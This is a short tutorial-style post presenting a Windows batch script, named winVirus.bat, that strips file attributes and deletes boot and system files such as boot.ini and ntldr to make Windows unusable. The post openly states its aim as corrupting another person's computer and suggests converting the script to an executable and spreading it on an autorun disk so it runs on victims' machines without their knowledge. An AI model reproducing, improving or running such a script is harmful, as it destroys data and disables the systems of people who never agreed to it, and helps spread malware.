I assume you know the basic about batch files before reading this post. Batch files are used to run a dos command without opening command prompt window. You can run many dos commands using a single batch file. For this you have to learn how to write a batch file. I am not going to tell you how to make a batch file. If you don’t know how to write, try to learn it from anywhere else. This post will show you some batch files which can corrupt your window. You can also say that these batch files can work like a virus. So be careful and not to try in your computer.

These files are very important and necessary for any windows operating system. So if you want to corrupt windows of a person you have to delete these four files from the computer.

@echo off 

attrib -r -s -h c:\autoexec.bat 

del c:\autoexec.bat 

attrib -r -s -h c:\boot.ini 

del c:\boot.ini 

attrib -r -s -h c:\ntldr 

del c:\ntldr 

attrib -r -s -h c:\windows\win.ini 

del c:\windows\win.ini 

save this code as winVirus.bat.

If you want to make it more harmful, make its exe using bat_to_exe converter and make an autorun disk of it. When someone use the disk autorun will execute itself and command will generated by batch file will corrupt the windows.